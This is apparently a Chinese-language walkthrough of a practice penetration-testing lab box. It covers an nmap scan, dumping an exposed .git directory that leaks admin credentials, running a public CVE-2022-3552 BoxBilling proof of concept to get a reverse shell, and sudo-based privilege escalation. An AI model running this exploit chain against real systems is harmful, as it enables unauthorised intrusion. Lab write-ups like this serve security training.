简介
point 20
Slort
Difficulty INTERMEDIATE
rated by community INTERMEDIATE
实验环境
攻击者 Kali 192.168.45.247
受害者 IP 192.168.219.27 Linux
1. 信息收集
收集受害者服务详情
nmap -sV -A 192.168.219.27
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_ 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn’t have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
FUZZ测试
发现.git目录
https://github.com/arthaud/git-dumper
git-dumper http://bullybox.local/.git bullyboxgit
cd bullyboxgit
cat bb-config.php
发现admin和Playing-Unstylish7-Provided
之后运行命令
git log
发现了另一个疑似用户名的条目
2. 漏洞发掘与利用
查看源代码
疑似是boxbilling v4.22.1.5的版本
https://github.com/kabir0x23/CVE-2022-3552
这里有POC
他的样例里的用户名是一个邮箱
那我们先尝试从git log里面的邮箱试试
先修改POC 将IP和端口设置成自己的
Kali监听80端口
之后可以运行了
python3 CVE-2022-3552.py -d http://bullybox.local/ -u 'admin@bullybox.local' -p 'Playing-Unstylish7-Provided'
成功拿到shell
3. 权限提升
sudo -l
严格来说我们就是root
sudo /bin/bash -p